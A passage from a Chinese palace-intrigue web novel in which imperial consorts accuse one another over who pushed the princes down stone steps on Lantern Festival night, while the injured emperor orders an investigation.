胆大心细反应快者,柳贤妃赵嫔夏婕妤甚至吴婕妤都有可能。 毕竟,像江舲这种社恐迟钝的人都被逼得变了模样。进了后宫,无人再真正天真。 赵德妃撞到江舲,林贵妃几乎在同时做出反应,先护着萧云瑞,好像知道她是冲着萧允瑞而去。 且林贵妃走在萧允瑞萧允珏身后,她极有可能看到萧允珏摔下去的情形。 思极此,江舲不禁愣住。 赵德妃尖叫着冲下来,林贵妃来不及细想,凭着下意识的反应,先护着了萧允瑞。 由此可见,萧允珏摔倒,很大可能是因为萧允瑞。林贵妃怕赵德妃有样学样,当场报复回去! 萧允珏肥硕,以极快速度朝下滚,好比是大石头碾下去,威力巨大。 石阶又滑,元明帝肯定会遭殃。 以元明帝的心胸,即便萧允珏无辜,也难以释怀。 赵德妃不要命奔下去,她是被逼到绝境,孤注一掷了。 石阶坚硬,说不定摔得脑浆迸裂。无论元明帝是生是死,最大得利者,乃是林贵妃与萧允瑞。 只是,萧允瑞与林贵妃也摔了下去,他们互相厮杀,渔翁得利 “渔翁得利……”江舲总觉着不对劲。 可惜的是,她脑子太晕,实在无法集中精神,怎地都想明白。 最终,江舲终是抵挡不住,迷迷糊糊睡了过去。她睡得极浅,听到窸窸窣窣的动静,倏地睁开了眼。 屋内昏暗,青檀丹桂蜷缩在榻后面打瞌睡,文涓一身寒意进了屋,道:“娘娘,黄大伴让御前跑腿的钱宝来了,说是皇上宣娘娘去琼华阁。” 江舲茫然了下,哑着嗓子问道:“几更了?” 文涓答道:“方才三更天。” 江舲缓缓撑着坐起身,眼前一阵晕眩,忙极力稳住。 三更天乃是子时夜半时分,深更半夜,元明帝却宣她前去。 莫非,元明帝伤重不治,快要驾崩了? “娘娘小心。”文涓见江舲摇摇晃晃,赶紧上前搀扶着她:“娘娘伤着,不宜走动,奴婢去回了钱宝,娘娘还是歇着吧。” 江舲哪歇得安稳,下榻趿拉上鞋子,急着道:“拿风帽来,我必须去一趟!” 元明帝不能死,至少现在不能死! 第88章 深夜的皇宫, 依然灯火通明。宫女内侍行色匆匆来回,脚步极轻,几乎听不到动静。仿佛在上演一场傀儡戏, 安宁到诡异。 “娘娘。”谢嬷嬷声音不由自主颤抖起来,哽咽着劝道:“娘娘伤得不轻, 待太医来诊治过后再去吧。” 夜里有太医轮值,只全去了垂拱殿。其余太医进宫还需要时辰, 如今萧允珏浑身是伤躺在床上呻.吟, 尚且未得医治。 “我歇不了。” 赵德妃头脸肿胀,左手几乎抬不起来, 身上更是连吸气都疼。她每说一个字,都要停一停。短短几个字说下来, 已冷汗津津。 谢嬷嬷不敢再劝, 抹了眼泪,叫了宫女进屋,紧张地护在一旁, “千万要小心, 莫要伤了娘娘” “且等一等, 奴婢伺候娘娘更衣。”谢嬷嬷这才发现赵德妃尚未更衣, 身上深青色的风帽被刮破, 混着泥灰与血迹, 脏污褴褛。 赵德妃无力多言,看着床上的萧允珏, 目露哀伤。不过, 她很快就硬起心肠,借着宫女的手,一咬牙站了起身, “走!” 谢嬷嬷看到赵德妃僵直颤巍巍的背影,眼泪夺眶而出。她追了两步,慢慢地停了下来。 萧允珏是赵德妃的命根子,富贵前程身价性命全部系在他身上。若他有个三长两短,赵德妃便再没了盼头。 如今萧允珏连累元明帝受伤,天家无情,赵德妃要替萧允珏去赔罪。 谢嬷嬷抹了眼泪,坐在萧允珏的床头,寸步不离守着他。 皇子的寝宫,与垂拱殿仅隔着一条夹道。萧允瑞与萧允珏的寝宫相邻,赵德妃目不斜视经过,她抿着毫无血色的唇,望着前面似乎永远也走不到尽头的夹道。 月色透过树枝,细碎地洒在青石地上,一地清冷的霜白。 赵德妃眼眸逐渐变得朦胧起来,她恍惚记得,在尚未进宫的时,她最喜的节庆便是元宵。 京城的元宵真是热闹啊,街头巷尾到处都是人。年轻的郎君与小娘子们,在元宵节可正大光明结伴出行,去偷青葱,踩懵懂。大家都穿着月白色的衣衫,伴着月色与焰火,美好得不似凡间。 进宫之后,赵德妃再未见过京城的元宵。 登上城墙赏鳌山灯会,与月亮触手可及,与城下的热闹亦触手可及。 彼此真正的距离,实则一样,遥不可及。 赵德妃茫然地回想,她可曾后悔过? 落子无悔。 她与萧允珏下棋时,常同他说这句话。 若是走了另一条路,不一定比如今更好。不曾发生之事,赵德妃从不会去想象。 每走一步,都痛彻心扉。冷汗流进眼中,刺得眼睛都睁不开。赵德妃没了力气去擦拭,一步一步,坚定地走过夹道。 垂拱殿禁卫森严,重兵把守。宫女前去回禀,守将铁面无私,道:“且先等着,待皇上宣召之后方能进去。” 赵德妃连殿门都不得进,她一言不发,依偎着宫女等候。 不知过了多久,赵德妃在神思恍惚中,终于盼来了回音。 “娘娘,皇上让娘娘进去呢!”宫女欢喜地道。 赵德妃唔了声,随着内侍进了琼华阁。寝宫中弥漫着浓厚的药味,元明帝倚靠在软垫上,肩上搭着衣衫,露出青紫淤血的胸腹,缠裹着细布的右腿。 吴适山与两个太医在低头施针,柳贤妃站在一旁,一脸的担忧。吴婕妤坐在床头,伤心地垂泪。 “你来作甚?”元明帝抬眼看向赵德妃,满是不耐地道:“朕受了伤,皆是因阿珏而起,你莫非不知?这时前来求见,朕看你是没了心肝!” 吴适山他们头埋得更低了,柳贤妃面色不变,并未有任何动作。吴婕妤神色复杂看着赵德妃,坐在那里看好戏。 赵德妃咬紧牙关,拂开宫女的手,当着一屋人的面,在地上跪了下来。 “皇上,臣妾便是为阿珏而来。阿珏伤得重,动弹不得,臣妾来替阿珏向皇上磕头。” 赵德妃缓缓说着,极力地克制住刺骨地疼,俯低声,头触地,规规矩矩叩首。 元明帝浑身痛不可抑,幸好有太医施针,他方才好过些。听到赵德妃的话,从鼻子喷出一声,并不领情,“你可还有事?” 赵德妃撑着抬起头,她并未起身,仍然跪在那里,道:“臣妾还有一事,阿珏是被人推下石阶,有人要害死阿珏,请皇上彻查,给阿珏讨还个公道。” 元明帝冷笑,道:“要害死阿珏?谁敢害死阿珏,岂不是要造反了?” “臣妾不知,还请皇上彻查。” 赵德再次磕头下去,道:“阿珏平时他身形灵活,好生生地走着,却突然摔了下去,实在太过蹊跷。阿珏如今身受重伤,生死难料。臣妾不敢细想,惟盼着阿珏能平平安安。若阿珏……阿珏……” 说到这里,赵德妃几乎话不成声,她神情痛楚,牙齿打着颤,冷汗滴落。 元明帝不禁仔细打量着赵德妃,这才看清她的形容,眉头皱了皱。 赵德妃喘息着,用尽力气道:“阿珏若有个三长两短,总要落个清白的身后名。” 元明帝一震,神色渐渐变得难看了起来。 明明是欢庆的元宵之夜,他断了一条腿,胸口起了血瘀,周身遍布擦伤。 两个儿子,萧允珏身受重伤,萧允瑞昏迷不醒,林贵妃也当场摔晕过去,如今死活不知。 元明帝心痛难抑,他摆了摆手,道:“罢了,你且回去歇着吧,让太医给你们好好诊治。朕自不会算了,定会查个水落石出。” 赵德妃心头微松,谢恩告退。 从头到尾,她无视屋中的柳贤妃吴婕妤等人,一幅不做亏心事,不惧人言的坦荡。 元明帝失神地望着前面,越想越心惊,眼里浮起惊惶,望着屋中之人,急声道:“出去,都出去!” 吴婕妤顿时哭道:“皇上这是怎地了,可是伤又疼了起来?” 如今,元明帝感到处处危险,他谁都不敢信。本就心里烦闷,哪耐烦听吴婕妤哭哭啼啼。 “滚!”元明帝双眸圆瞪,怒吼道。 吴婕妤吓了一大跳,不敢再多言,忙屈膝施礼告退。柳贤妃跟着屈膝,道:“皇上好生养伤,臣妾过后再来伺疾。” “皇上,万万动不得,不可激动啊!”吴适山拿着针,一时无法下手,壮着胆子劝道。 元明帝胸脯起伏,咳起了嗽来。他捂着胸口,痛得涕泪横流。好不容易止住咳,元明帝大半条命都快填了进去,急喘着道:“黄梁,让皇城司丁尙守好皇城!传卫大学士,慧淑妃来见朕!” 黄梁赶忙应下,疾步匆匆跑了出去,抓过守在门口的钱宝,“快去找慧淑妃来!” 张善提着衣衫跑了上前,着急地道:“大伴,钟嬷嬷在门前哭,说林贵妃与大皇子都人事不醒,来请吴太医正前去诊治。” “吴太医正在给皇上施针呢!竟然跟皇上抢起人来了!” 黄梁一脑门的官司,推开张善,大步朝外走去,“我还得去传话,你别挡着路!” 萧允瑞与林贵妃都是贵重得不得了的人,张善得罪不起。不过,吴太医是不得空,值守的太医都在垂拱殿忙碌,谁都贵重不过元明帝去! 张善啜着牙花子,袖手出去给钟嬷嬷如实道:“嬷嬷,实在对不住,皇上受了伤,吴太医正与太医都在皇上跟前伺候,着实走不开。嬷嬷再等一等,其他太医很快就赶了进宫。” 钟嬷嬷心急如焚,一听马上哭了起来:“大皇子与林贵妃都伤得厉害,这可如何办才好啊!” 张善跟着唉声叹气,一副实在没法子的为难。钟嬷嬷只能抹着眼泪,拖着沉重的步伐,往萧允瑞的寝宫走去。 林贵妃脸上伤了几处,右肩撞上尖锐的石头角,在一片吵嚷中,她清楚听到自己骨头碎裂的声音。 绣云拧了热帕子,轻轻擦拭着萧允瑞的手脸。他除去手背被磨破皮,其余之处皆不见任何的伤口。 只萧允瑞摔下石阶时便晕了过去,回到寝宫后,一直不见醒转。林贵妃起初痛得晕倒在地,上软轿后便幽幽醒来。 钟嬷嬷走了进屋,绣云忙迎上前,急切地道:“如何了?” “吴太医正在皇上那里,走不开。”钟嬷嬷觑着林贵妃的神色,小心翼翼回道。 “等着吧。”林贵妃不堪疲惫地道,她又困又累又痛,却不想闭眼。 一合上眼,眼前就控制不住浮现起城墙下的情形。赵德妃肯定不会甘心,林贵妃同样如此。 所谓螳螂捕蝉黄雀在后,她林玉壁,岂能被一只黄雀搬倒,定会加倍还回去! * 柳贤妃出了垂拱殿,与吴婕妤道别,往柔仪殿走去。 今夜的增添了护卫,在四下不断巡逻。柳贤妃转进靠近坤宁宫的夹道,袁长生正好领着护卫经过。 “娘娘。”袁长生一只手垂在身前,恭敬见礼,朝柳贤妃走了过来,道:“夜里路滑,娘娘且请小心为上。” 柳贤妃目光扫过袁长生手上的手臂,朝他微微颔首,“袁大伴,今夜接连出事,你且上前,我有几句话叮嘱你。” 袁长生走了上前,柳贤妃待石嬷嬷她们走远了些,她悄然往阴影中走去。袁长生默默上前,两人同时出了声。 “你怎地那般莽撞!” “你为何要救他!” 袁长生沉默片刻,低声道:“奴婢是护卫,奴婢若不动,就没当好差。皇上疑心重,定会怀疑奴婢。只奴婢撞开了禁卫,任谁都看不出破绽。” 柳贤妃神色缓和了几分,道:“明明是两败俱伤的局面,我怎会蠢得动手。” 袁长生怔住,柳贤妃不由得一扬头,恼怒地道:“我何时骗过你?” “奴婢自信你。”袁长生忙道。 “你何必奴婢来奴婢去,平白让人难受。” 柳贤妃嘴角泛起苦涩,看向袁长生的手,“你的手可严重?” 袁长生正要回答,听到夹道东侧传来脚步声,赶紧退后两步。 江舲跟着钱宝急匆匆前去垂拱殿,看到前面不远处站着的护卫,心里疑惑,顺势往前看去。 朦胧的月色下,袁长生从夹道口走了出来。江舲头仍然晕晕沉沉,似乎闪过什么,又一时抓不住,凭着本能往他身后看去。 离得远,夜里看不大清楚。江舲只看到一道模糊的青影,往夹道另一边离开。 受伤之后回到繁英阁,江舲没了力气,并未更换过衣衫。 此时,江舲低头看去,她身上仍穿着深青的朝服。 后宫嫔妃的朝服,以深青为贵。按照品级不同,绣诸如凤凰等花纹以区分。 她,林贵妃,赵德妃,柳贤妃,赵嫔几人,皆是三品以上,着深青朝服! 林贵妃赵德妃受了伤,且两人的寝宫,与赵嫔的香雪阁,皆不从此方向而去。 离开之人,定是柳贤妃无疑! 第89章 真相就在眼前, 却糊着一层纱。江舲脑子乱糟糟,理不清里面的关系。 江舲曾经托付谢胡两位师爷暗中盯着,最终一无所获。只要做过就会留下痕迹, 要么袁长生太过狡猾,要么就是江舲出了错。 事到如今, 江舲能肯定,是袁长生棋高一着。 眼见袁长生走了过来, 他的步伐不紧不慢, 脚步无声。兴许是天气寒冷,他如花般的雪白面孔, 在月色下愈发苍白,犹如从陵墓里生出来一般, 格外阴森。 江舲后背发寒, 心控制不住快跳出胸腔,差点拔腿就逃。 “慧淑妃娘娘,今晚不同以往, 这般晚了, 慧淑妃娘娘在这作甚?”袁长生颔首见礼, 态度规规矩矩, 目光犀利如鹰隼, 不经意在江舲身上扫过。 江舲感到好似她做贼心虚一样, 心慌气短,道:“我去见皇上。”她听到自己的声音尖锐飘忽, 头牵扯着痛, 不禁捂住额头“哎哟”起来。 袁长生目光锐利地盯着江舲,道:“原来是去见皇上,夜已深了, 娘娘要小心才是。” “难道在宫中会出事?”江舲下意识回了句,随着话说出口,便控制不住了,指着身后的钱宝,气势凌人进行反击。 “他是御前的人,袁大伴莫非不认识?” 不待袁长生回答,江舲继续道:“你是宫中的护卫都知,按理来说,你守护着后宫的安危。夜深不可在宫中行走,莫非是夜深了,宫中就会变得危险?” 袁长生打量着江舲,他笑了起来,眼神却不见任何的波澜,道:“娘娘有所不知,夜深要要防着心怀不轨之人走动,若只是失窃,不过时丢些钱财罢了。若是走水,那就会出大事了。” “原来如此。”江舲煞有介事点了点头,道:“原来袁大伴怕我深夜出来做偷儿,放火。” “奴婢不敢,娘娘言重了。”袁长生未再多言,道:“娘娘请。” 江舲这时却偏生不走,道:“袁大伴当差时铁面无私,不徇私情,此乃值得赞扬的品行。只我被怀疑,实在是生气伤心。我这个人一向直率,随和,从不在意身份品级,以下犯上这些鸡毛蒜皮的小事。袁大伴,你为何处处针对我?我何处得罪了你,你直言便是,我若有错,我给你赔不是。” 袁长生的神色微微一变,江舲身份尊贵,他拦着查问,虽可称是按规矩巡逻,确实以下犯上。何况钱宝跟着江舲,明明是元明帝宣召,他再问,就是以权谋私,故意刁难了。 江舲要是真计较,他不一定会讨得了好。平时江舲性情确实如她所言那般,直率,随和。但她偏生这时候,开始变得咄咄逼人。 袁长生心沉了沉,后悔不迭。他一时慌了神,犯了大忌,当机立断道:“奴婢冒犯了娘娘,请娘娘责罚。” “你是皇上的人,我哪能责罚你。”江舲不依不饶,呵呵冷笑道:“袁大伴,你这是在将我的军呢。” 袁长生不辩解,干脆双膝跪地,道:“请娘娘责罚。” 江舲本想撒泼,虽不甘心,却只能干瞪眼,“我当不起,袁大伴,膝盖切莫这般软,你还是起来吧。” 袁长生垂着眼眸,闻言不由得一愣,“多谢娘娘大度。”他说着,缓缓起了身,“娘娘请。” 江舲冲他颔首,面无表情扬长而去。她极力稳步走着,感到身后袁长生的视线,如冰冷的月光一样,紧随着她不放。 她敢肯定,袁长生对她起了疑心,怀疑她看到他与柳贤妃,由此猜测到了什么。 他奉命巡逻,即便与柳贤妃在一起说话,也可解释过去。 如她所质问那般,钱宝明明在,他却上前盘问,以他的聪明,不会犯这般的错误。 经过她这一通胡搅蛮缠,他应该打消了一部分疑虑。毕竟要是她猜到了什么,应该是惊慌,赶紧去向元明帝告状。 垂拱殿就在眼前,江舲嘴角浮起了几分冷笑。袁长生是聪明,她不敢称能与他比,但他忘了,他的一切权势,皆来自元明帝。 眼下元明帝受了伤,江舲才会按兵不动,免得打草惊蛇。对他发难,她当然有所考量。 一则她要拿出慧淑妃的身份来。她已非当年的小才人,要是畏畏缩缩,反会加深袁长生的疑心。 其次反消他的疑虑,林贵妃赵德妃无论是主动还是被动,实际上已经杀红了眼,她不宜被牵扯进这团混战中去。 再者拖延功夫,好借机向元明帝告状。 果然到了琼华阁,江舲屈膝施礼,元明帝劈头盖脸怒斥道:“好你个江氏,朕受了伤,你不前来侍疾,竟还睡得着!朕传你前来觐见,你拖拖沓沓,就这点路,你怎地不拖到猴年马月去!” 元明帝声音透着虚弱,还能骂人,可见无甚大碍。 江舲走上前,在床前的锦凳上坐下,仔细看去,元明帝应该是摔断了肋骨与腿。她不由得既失望又松了口气,道:“我伤到了头,回来呕吐了一场,一直晕沉迷糊着。” 她说得极慢,说上几句,就要停顿片刻。见元明帝朝他使劲打量,立刻变得委屈起来,“先前我来时,被袁长生拦着盘问了好一阵,说是担心有人行窃,放火。” “胡闹!袁长生这狗东西,他吃了熊心豹子胆,朕宣的人,他都敢拦着了!” 元明帝气得怒骂,他见江舲确是额头肿胀,青紫淤血,神色勉强缓和了些,道:“吴适山,你替慧淑妃瞧瞧。” 江舲给袁长生上了眼药,心里把元明帝暗骂了一通。 狗东西,还真是信任袁长生,她被查问,他只嘴上骂几句罢了! 吴适山忙应是,江舲来回看着他与太医,狐疑地道:“其他太医已经进宫了?” “臣在垂拱殿,不知外面情形如何。”吴适山听出江舲的弦外之音,苦笑道。 加上吴适山与两个太医,太医院当值的人悉数在垂拱殿。 一时间,江舲心头滋味很是复杂。元明帝即便不关心林贵妃与赵德妃,萧允瑞萧允珏却是他亲生儿子。他霸占着太医不放,性情凉薄到狠毒了。 “娘娘头上的伤看似皮肉伤,万不可掉以轻心。脑子受伤看似无碍,却极为凶险。”吴适山细细察看过江舲的额头,紧张地道。 江舲比吴适山更为清楚颅内受伤的结果,他虽治不了,也无法做检查,认知却颇为清楚。 “多谢吴太医,你所言既是,我会小心注意。当时被撞到时,我就晕头转向,靠贴着城墙,砖石冰凉,我才没直接晕过去。回来后,我又吐了一场,定与脑子受伤脱不了干系。” 她本是为强调她受伤严重,不想伺候元明帝。谁知,元明帝一下惊慌起来,“你快给她诊治,还愣着作甚!” 吴适山面露为难,江舲听得心中烦躁,头更疼了,她哼唧了两生,扶额有气无力地道:“皇上,脑子受伤确实凶险,主要是看不见摸不着,天底下除了神仙,无人能治。我现在晕得很,需要清净歇息。” 元明帝亦清楚伤到脑子的凶险,故而才惊惧不安。他忙吩咐张善,“快快,伺候慧淑妃歇息!”他朝临窗的坐榻指去,”铺上软和的厚褥子,你亲自去!” 江舲愣了下,赶紧道:“皇上,阿瓒阿琅醒来后见不到我会害怕,繁英阁就几步路,我回去歇息就是。” 元明帝对谁都不放心,这时只信任江舲留在身边,如何肯让她回去。 想到萧允瑞萧允珏皆受了伤,余下的两个儿子不能再有任何闪失,当即道:“将阿瓒阿琅都带来琼华阁,你们随朕住在一起。” 江舲嘴张了张,干脆闭上了。 她生怕萧允瓒萧允琅出事,垂拱殿的确最为安全。她就受些苦,暂时度过眼前的难关。 张善领着几个内侍拿来被褥铺好,摆上屏风隔开。即便有朝臣太医等人进来,江舲在的话,亦不会被他们瞧见。 待江舲在榻上躺下,黄梁亲自前去繁英阁,将萧允瓒萧允琅一起带到了琼华阁。文涓阿箬她们都跟了过来,江舲不放心,前去安抚了几句,他们方在偏屋睡下。 一通折腾之后,江舲方才合上眼,黄梁带着卫大学士来了,她睡不着了,拉长耳朵偷听。 “皇上。”卫大学士上前请安,看到躺在龙床上脸色不好的元明帝,担忧之情溢于言表,心痛道:“皇上怎地伤得这般严重!” 元明帝让吴适山他们退下,叹了口气,道:“今夜之事,朕甚是痛心。此事甚是蹊跷,朕叫你来,是要你去彻查,丁无论是谁在背后捣鬼,你都无需隐瞒,朕自会处置。” 卫大学士惊骇莫名,他神色严肃起来,道:“皇上放心,臣定会竭尽全力,查个水落石出!” 元明帝道:“朕会交代丁尙,你去寻他,由他协理你。朕将此事,就拜托给你了。” 卫大学士退了出去,江舲心道元明帝虽对他不满,到紧要关头,最信任之人还是他。 看来,卫大学士严厉归严厉,忠心不容置疑。 当时吴适山曾说过朝堂关于立储的纷争,元明帝未将差使交给政事堂郑相他们,算是侧面在敲打了。 江舲又转念一想,元明帝未避开她,是真信任她,还是在试探? 在胡思乱想中,江舲体力不支,撑不住睡了过去。元明帝痛得不时哼唧,寝宫不断有人进出,送药施针,她睡得很不安稳。 屋中弥漫着药味,夹杂着元明帝出恭后的臭味。江舲实在受不住,翻坐起身,眼前一阵眩晕,差点一头栽倒在地。 黄梁差内侍取走恭桶,道:“皇上,赵嫔娘娘求见。” “她来作甚?”元明帝如厕一动,痛得他冷汗直冒。本就烦躁不已,想着昨夜未见赵嫔来请安侍奉,顿时火冒三丈:“传她进来!” 江舲听到赵嫔,忙忍着难闻的气味,缩回被褥重新躺下。 黄梁领着赵嫔进来了,元明帝拉下脸,冷声道:“你来作甚?昨晚不见你身影,你的规矩,都学到了狗肚子里去!亏你有脸称才情过人,实则沽名钓誉之辈罢了!朕看阿棠在你手上养着,怕是得被你养废了!” 江舲听得暗自呲牙,元明帝真如疯狗般,见谁都咬! 赵嫔脸色泛白,深深掐住手心,泪水在眼眸中打转,泫然欲滴地道:“皇上,臣妾有错,未曾来给皇上侍疾,不敢求皇上宽宥。只臣妾有难言之隐。” 说到这里,赵嫔咬了咬唇,朝立在周围的黄梁他们看去,目光在屏风上略作停顿,一副欲言又止的模样。 元明帝眯了眯眼,挥手让黄梁他们退下,问道:“你有何难言之隐?” 赵嫔道:“皇上,臣妾昨夜亲眼所见一事,惊吓过度,慌得不知如何是好,连侍疾之事都忘得一干二净。” 元明帝哪有耐心听她东拉西扯,沉声道:“究竟何事,速速道来!” 赵嫔深吸一口气,摆出豁出去的架势,道:“皇上,臣妾见到慧淑妃趁着混乱,将大皇子推下了石阶!” 第90章 我草! 江舲情不自禁暗骂了句, 赵嫔的污蔑,太出乎她的预料,让她一下未能反应过来。 实在是太匪夷所思, 赵嫔可否知晓冤枉了她,江舲无从得知。但她知道自己简直比窦娥都冤! 不过, 赵嫔估计不知她在当场,江舲克制住想要冲出去揍她的冲动, 躺在被褥里继续偷听。 元明帝亦震惊不已, 他下意识朝屏风看了一眼,沉下脸问道:“你说慧淑妃将阿瑞推下台阶, 除你之外,可还有人瞧见?” “当时大家都慌不择路, 不见了月亮, 灯盏乱晃,臣妾不知其他人可有瞧见。臣妾正在往台阶下瞧,想寻到皇上在何处。谁曾想, 臣妾恰好看到慧淑妃伸出手一推, 大皇子滚落下石阶。慧淑妃身份尊贵, 此事太过重大, 臣妾吓得腿软, 差点也摔了下去。” 赵嫔说到这里, 轻抚着胸脯,身子战栗着, 依然惶恐不安。她上前一步, 急切地道:“事关大皇子,皇室血脉,臣妾昨夜坐立难安, 再不敢瞒着,一早便来告诉皇上。” 元明帝呆在那里,脑子混乱不堪,一股莫名地怒意从心底腾地而起,厉声道:“赵婉滢,只凭着你的一家之言,污蔑慧淑妃,该当何罪!” 赵嫔浑身一僵,定定站在那里,眼中噙着的泪,终是夺眶而出。 “皇上” 赵嫔哀哀切切哭喊了起来,“皇上,臣妾与慧淑妃无冤无仇,为何要污蔑她……” “对啊,你我无冤无仇,为何要污蔑我?”江舲强忍着晕眩,慢慢坐起身,打断赵嫔的话。 赵嫔悚然一惊,转头朝屏风看去。她知晓江舲被元明帝宣到垂拱殿,先前进屋时,已经四下打量过,元明帝也让其他的人都退了出去。 她料想不到,江舲居然与元明帝歇在一处,元明帝对她竟信任宠爱至此! 江舲从屏风后慢慢走了出来,苍白疲惫的脸,走路都极为吃力,晃悠着走到赵嫔面前站定。 “瞧我真是晕了头,赵嫔与我不算无冤无仇。”江舲抬手捂头,佯装自责地道:“以前赵嫔想要抚育阿琅,皇上不允,赵嫔便因此恨上了我。现在趁机污蔑我,我要是出了事,阿琅自归了你抚育,连着阿瓒也说不定被你夺了去。” 赵嫔目光在江舲额头上停住,她瞳孔猛缩了下,很快就镇定下来,屈膝盈盈施礼:“慧淑妃,当时四皇子让慧淑妃抚育,是皇上的旨意,我岂敢抗旨不尊,慧淑妃何苦拿来讥讽我。” 江舲当是趁机反击,她摸不清赵嫔的用意,拿着她们曾经少有打过的交道来说事。 赵嫔面不改色,沉着地道:“慧淑妃既然在,正好省了事,我就不算在背后说三道四。我只照实道出所见之事,皇上可否相信,慧淑妃如何恨我,打算报复处置,我都认了。” “呵呵!” 江舲冷笑一声,抬手缓缓鼓起掌来,“赵嫔,其实,你莫要灰心,你还是算得上才女。瞧你这反应,这番话说得,真真是让人佩服。” 先前元明帝骂她的话,被江舲悉数听了去。她此刻仿佛被剥掉了衣衫,赤身站在元明帝与江舲面前,供他们嘲讽取乐。 赵嫔脸色冰冷泛白,屈辱,愤怒,恨意,在胸口翻滚,眼眸几近赤红。 “你真是好不要脸,把自己摘得干干净净,还摆出一副凛然的模样来。” 江舲一瞬不瞬盯着她,嘴角讥讽上扬,“你嘴皮子一张,称我推了大皇子。皇上不信你的谗言,恰好我也在,你见得不了逞,不敢改口太快,马上含糊其辞,显得你很正直,所言皆为事实。皇上不信,皆是因为偏颇我。” 赵嫔死死咬着唇,楚楚可怜地道:“我并无此意,慧淑妃要这般想,我百口莫辩。” “皇上,事关重大,我不能被这般污蔑了。” 江舲不再搭理赵嫔,对元明帝道:“我一向坦荡,事无不可对人言。免得皇上心生怀疑,还是要早些说清楚比较好。既然与大皇子有关,不如请人去看看大皇子可有醒来,他可否记得当时的情形,还有林贵妃,她也应该知道此事。” 元明帝本能地对赵嫔的告密感到盛怒,因着他唯一信任之人便是江舲,若她真对大皇子动手,偌大的后宫,他便成了孤家寡人。 何况,还有萧允瓒萧允琅两人,元明帝无论如何,都不愿见到江舲出事。 另一边,事关长子萧允瑞,想到他的受伤,元明帝心情低落下去,唤来黄梁吩咐道:“你去瞧瞧阿瑞林贵妃如何了,若是醒来,问问阿瑞昨晚的情形,让林贵妃来见朕。” 黄梁赶紧出去了,江舲说了这番话,早已虚弱不堪。她去锦凳上坐下,撑着凭几喘息。 “身子可是不舒服?”元明帝见江舲精神恹恹,忍不住关心地道:“让吴适山来给你诊治吧,可强撑不得。” 江舲夜里歇不好,早起蓬头垢面,不曾洗漱,更是粒米未进。想着要面临的大战,江舲斜了眼杵在屋中央难堪的赵嫔,眼中冷意闪过,故意道:“皇上,我先不吃药,用了早膳再说。皇上也要用膳,吃饱之后身子才恢复得快。” 元明帝早已折腾得精疲力竭,此刻也觉着肚皮空荡荡,道:“行,朕依了你,先用膳再说。” 内侍宫女忙碌起来,捧着帕子热水进屋,伺候元明帝与江舲擦拭漱口。 “你还立在这里作甚,退下!”元明帝将帕子扔向内侍,看到还直愣愣站在那里的赵嫔,不悦地皱眉。 赵嫔垂下眼眸,屈膝施礼告退,一言不发去外间候着。 两人默默用起早膳,江舲肚皮填得八分饱,吃了半盏热茶,精力勉强恢复了几分。 黄梁进屋回话道:“皇上,大皇子还未醒转。贵妃娘娘伤得重,听到皇上宣召,坐着软轿来了,皇上可要宣贵妃娘娘进来?” 元明帝放下茶盏,道:“将赵嫔一并叫进来。” 黄梁出去领着两人进屋,林贵妃左侧手臂耷拉着,倒在谢嬷嬷身上,一步一步走得很是慢。 元明帝神色怔怔看着她,心中又变得难受起来。一夜之间,后宫受伤无数。出这么大的事,想要瞒住已不成,肯定早已传遍京城。皇家脸面荡然无存,在史书上都会记下一笔。 “坐着说话吧。”元明帝滋味复杂地道。 黄梁领着人搬进来圈椅,林贵妃谢恩之后,缓慢坐了下来。她似乎提不起劲,苦笑一声,虚弱无力地道:“皇上,臣妾坐得不端正,请皇上恕臣妾不敬。” 元明帝抬了抬手,让黄梁等人退下,问道:“可有诊治过,阿瑞情形究竟如何了?” 林贵妃垂下眼帘,掩去了眼底的伤心,苦涩道:“阿瑞不见起色,臣妾左肩伤得厉害,以后只怕要废了。” 元明帝心里同样不好受,沉默半晌,道:“朕找你来,是因先前赵嫔称,慧淑妃将阿瑞推下了石阶。” 林贵妃愣住,抬眼看向江舲,蜡黄的脸上,神情茫然而不解。 “贵妃娘娘。”江舲朝她欠身,指着自己的额头,无奈地道:“当时我被赵德妃冲得撞上城墙,差点晕过去,到现在依旧晕着。大皇子昏迷不醒,应当是伤到了脑子,贵妃娘娘也受了伤,应该清楚受伤之人,尤其是伤到脑子之人,哪还有力气将推人下石阶,动作还疾如闪电。” 林贵妃没有说话,赵嫔端坐在那里,眼观鼻鼻观心,一声不吭。她看似镇定,搭在身前的手,手背青筋狰狞。 江舲继续道:“我坦坦荡荡,于心无愧。怕贵妃娘娘误会,干脆请贵妃娘娘前来,大家坐在一起说清楚比较好。免得贵妃娘娘受到赵嫔挑拨,找错了行凶之人。” 林贵妃不胜体力靠在扶手上,她未回答江舲的话,而是看向赵嫔,道:“你都瞧见了?” 赵嫔忙点头,急切地道:“我亲眼目睹,贵妃娘娘要是不信,可待大皇子醒来之后,事情真相自水落石出。” “赵嫔,你还有脸口口声声说真相!假如我真是十恶不赦,心狠手辣的歹毒之徒。事情发生在京城,我远在外地州府,难道我会仙术,飞来京城犯事?这跟我受了伤,无法做出你所言之举动,是一样的道理。这般浅显的比方,你还不认,始终指着是我,除非——” 江舲停顿了下,朝着赵嫔嘲讽地笑了,“你在行一石二鸟之计,将大皇子推下石阶之人,而是你!” 赵嫔脸色煞白,再也坐不住,拔高声音反驳道:“不是我!慧淑妃这是要含血喷人,反咬一口了!” “赵嫔既然看到了我,我难道不能看到赵嫔?” 江舲望着赵嫔,视线从她到林贵妃,最后落到元明帝身上:“你瞧别人的时候,别人也在瞧你,就如现在这样。你看到我推大皇子下去,我难道会看不到你?我会蠢到当着你的面害大皇子?何况,我始终觉得,赵嫔既然称看到我害了大皇子,却不去告诉林贵妃,而是来告诉皇上,无论从哪一点,都说不过去。赵嫔是怕见到林贵妃,被瞧出端倪,还是迫不及待见到我死?” 元明帝沉下脸,怀疑地道:“赵嫔,慧淑妃说得甚有道理,你有何解释?” 赵嫔面无人色,红着眼道:“皇上偏心,只信慧淑妃所言,臣妾的话,皇上皆当做谎言。臣妾是被吓着了,林贵妃与大皇子受了伤,我再去告诉林贵妃,她肯定无法安心养伤。皇上是我们后宫姐妹,天下人的天,我当会来回禀皇上,让皇上主持公道。” 林贵妃顿了顿,静静道:“阿瑞曾来过片刻。” 屋中大家皆一愣,元明帝神色着急起来,道:“阿瑞醒过,他如何说” 林贵妃道:“阿瑞也不算得醒,他像是在做噩梦一般,惊惧喊着贤妃娘娘,贤妃娘娘。推阿瑞的人,我想是柳贤妃!”《 》 90-100 第91章 林贵妃指认柳贤妃才是推萧允瑞的凶手, 情形突转,屋内几人都怔住,反应各异。 元明帝脸色难看至极, 